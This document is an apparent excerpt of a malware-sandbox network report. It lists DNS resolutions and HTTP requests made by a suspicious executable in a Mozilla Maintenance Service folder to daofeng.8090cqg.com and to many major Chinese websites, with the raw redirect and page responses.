Aug 5, 2024 11:59:30.256714106 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.277854919 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.325617075 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.342360973 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.342360973 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.384314060 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.384314060 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.384314060 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.411746025 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.411746025 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.491400003 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.491400003 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.491400003 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.491400003 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.529666901 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.529666901 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.529666901 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.529666901 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.537720919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.537720919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.537720919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.537720919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.554270983 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.554270983 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.65.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.589881897 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.589881897 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.589881897 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.645314932 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.645314932 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.651174068 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.651174068 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.660128117 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.660128117 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.152.186.103	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.684561014 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.684561014 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.197	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.684561014 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.198	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.739887953 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.739887953 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.745042086 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.749731064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.749731064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.749731064 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.774295092 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.809149981 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.843441963 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.867969990 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.925452948 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.945286036 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.993107080 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.993107080 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.993107080 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:30.995100021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	huadongcs.oss-accelerate.aliyuncs.com	ds-2085.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.995100021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ds-2085.oss-acc-allline.aliyuncs.com	ds-2085.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.995100021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ds-2085.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2085.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:30.995100021 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	ap-southeast-1-ds-2085.oss-acc.aliyuncs.com		161.117.242.89	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:31.047069073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	huadongcs.oss-accelerate.aliyuncs.com	ds-2085.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:31.047069073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ds-2085.oss-acc-allline.aliyuncs.com	ds-2085.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:31.047069073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	ds-2085.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2085.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 11:59:31.047069073 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	eu-central-1-ds-2085.oss-acc.aliyuncs.com		47.254.187.183	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.376702070 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.376702070 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.881412029 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.881412029 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.965143919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:32.965143919 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:34.449640989 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:34.449640989 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.162758112 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.162758112 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.323501110 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:41.323501110 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.341376066 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.341376066 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.629524946 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:49.629524946 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.347929955 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.347929955 CEST	114.114.114.114	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.355537891 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:59.355537891 CEST	8.8.8.8	192.168.2.5	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

daofeng.8090cqg.com

www.sina.com.cn

www.baidu.com

www.jd.com

www.so.com

www.1688.com

youdao.com

soso.com

www.hao123.com

www.eastmoney.com

foodmate.net

www.jmw.com.cn

www.cdstm.cn

www.tencent.com

www.cctv.com

guangzhoucs.oss-accelerate.aliyuncs.com

www.hupu.com

www.jb51.net

www.autohome.com.cn

yanzheng.appchizi.com

sinacloud.net

www.aliyun.com

www.kuaishou.com

www.sinacloud.com

www.douyin.com

www.qq.com

www.sogou.com

www.sohu.com

huadongcs.oss-accelerate.aliyuncs.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	43.154.89.236	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:07.492999077 CEST	413	OUT	GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, / Accept-Language: en-CH Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: daofeng.8090cqg.com Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	163.181.201.236	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.257441044 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.193397999 CEST	583	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache14.sg25,c=8.46.123.33; Via: ens-cache14.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c9a217228519490317683e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	183.2.172.185	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.284327984 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.219758034 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0xc44fa55000023728 Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Mon, 05 Aug 2024 09:59:09 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=CA24E81CA66CE71DBA4A44A220976727:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=CA24E81CA66CE71DBA4A44A220976727; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722851949; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=CA24E81CA66CE71D927323BD943E4258:FG=1; max-age=31536000; expires=Tue, 05-Aug-25 09:59:09 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=35; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 1722851949126227764214145706717610129192 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 62 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 00 1a cd 37 db 96 95 95 59 55 e8 ba ba b2 aa fa 12 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f eb 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 39 e9 4c 9f af 6c 0d fa 63 af 3f Data Ascii: bdciKrmCS]<Oqt7YUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw9Llc?
Aug 5, 2024 11:59:09.219809055 CEST	1236	IN	Data Raw: 4e 1d df 0c bd 95 84 cb 7e 3d 5f 19 7b d7 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 34 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba 57 ce 4d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 Data Ascii: N~=_{V\|QO~bi4u<-om=yN{qWM;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_?
Aug 5, 2024 11:59:09.219825983 CEST	1236	IN	Data Raw: b0 1f 95 76 d9 08 81 e1 59 26 fb aa dd 19 7b 29 20 45 d7 03 1e 71 35 72 86 cf b4 65 fd 39 16 a4 04 e0 9b 2f af 1c a0 ef 19 5f 3d f4 9d 63 b5 02 58 45 cc c2 e2 4b 64 9f 01 bf 80 1d d7 e9 02 72 3a ad fe 7a 0f d8 46 d7 9b d1 3e ae 90 3b 0e 3d 21 18 Data Ascii: vY&{) Eq5re9/_=cXEKdr:zF>;=!hT$qXxa ~f&:SH2Q8IKY,<W+pV3CR1T;P<>ydFlneEtx"g/HEYi.ws(~?r6tSS/>)qEwo
Aug 5, 2024 11:59:09.219841957 CEST	388	IN	Data Raw: 34 86 59 13 b8 d0 18 12 69 50 47 71 43 06 a9 9a d7 66 53 2b e0 1a 46 ce 6a b5 3b a8 26 bc a1 6a 42 09 c2 86 22 0d 24 9f cf 2f 06 08 a9 52 94 d1 2f 56 af c1 44 52 53 ff b5 40 cf b2 6e 53 57 5f 22 ef b6 c9 97 62 86 6a b9 5a 69 a3 f0 8c ab 07 60 77 Data Ascii: 4YiPGqCfS+Fj;&jB"$/R/VDRS@nSW_"bjZi`woD+njyMdv7Vug^Ly4gf*berr-!a5v#gk5[ZOoY6,O8$-?gARms9.bzu?X'iS7j5'
Aug 5, 2024 11:59:09.220627069 CEST	1236	IN	Data Raw: 33 39 32 30 0d 0a 58 aa ec e8 78 3e d1 cc 07 b4 7d 30 4b d2 bd f0 67 1f 19 9f 3d 55 5b bf be ba 5b 0e 45 1a 2e 35 c2 fa 58 a2 5b a4 94 b1 03 f6 d9 48 2b a3 d8 9f 98 20 83 a3 24 f3 68 e7 16 b5 7d 9c a0 e0 c9 4c cc a2 3c 20 db 07 f0 b7 86 cb e5 21 Data Ascii: 3920Xx>}0Kg=U[[E.5X[H+ $h}L< !%zCS$+tT0p}/45(OK\6/--n5_3PE"w0]p'%udG$BITr.Hx)lN`Lcu$3r2;CQjOqVS
Aug 5, 2024 11:59:09.220702887 CEST	1236	IN	Data Raw: f1 ca e8 57 d1 75 86 81 b7 2e be 84 da 07 ee 55 97 fd fc 08 fb 62 66 7e b0 6a 0f 07 e8 e3 0f 81 21 bd 41 d3 5b 6f 74 dc 09 fc 81 46 f9 cc df 41 54 11 ba 34 89 f3 ce e7 47 74 be 96 cf 5d 8f d2 44 c2 b2 98 0a a5 04 1d dc e9 2e d6 8f d2 60 cc 8e 54 Data Ascii: Wu.Ubf~j!A[otFAT4Gt]D.`T{i"PK!m0AujGi^w\|@4gk~;\%n/EF{En7@uDzjRXk0ABkv`ME
Aug 5, 2024 11:59:09.220717907 CEST	1236	IN	Data Raw: 19 a7 41 bc 8f 5d 00 bc a4 34 3f f0 a4 7d 35 82 40 c9 e9 da 2a 58 3f 31 26 3e 14 8c 20 a8 07 b9 63 a3 79 de 80 a3 20 a8 a7 c0 3e a0 4a 74 ab bd 97 cc 73 df fe 18 8c 96 cc c1 95 2d 0d d8 08 88 fb 9a 22 96 1c 8f c0 c5 65 64 51 d2 2e 06 70 f4 9c 4e Data Ascii: A]4?}5@X?1&> cy >Jts-"edQ.pN_D^21%Z_s0K0ty@1DraB3iN3n&4([Tl$j+>Gi/%_)W1zr.1\|W\8F
Aug 5, 2024 11:59:09.220756054 CEST	1236	IN	Data Raw: a5 34 c7 5e a3 da 0d b7 60 54 f1 c9 93 5e 14 bb 86 5e 40 a0 a8 26 30 a4 17 08 89 a1 20 d8 b1 5e 22 24 0c b4 15 10 90 7a 89 90 48 f8 c9 d8 2c 11 11 8c 20 02 bd 8d 88 78 c4 a2 d2 4b 84 84 14 12 9d 5e 22 22 2a b2 5f 59 20 95 08 4c 50 b9 de 48 2e 22 Data Ascii: 4^`T^^@&0 ^"$zH, xK^""*_Y LPH."8ZhxJi<%Z%DC"l!^XSI2b093~&`:Pa)J4a{z_2`tMAj#'[%;\"mjXQP!Ke',,l}eTNA
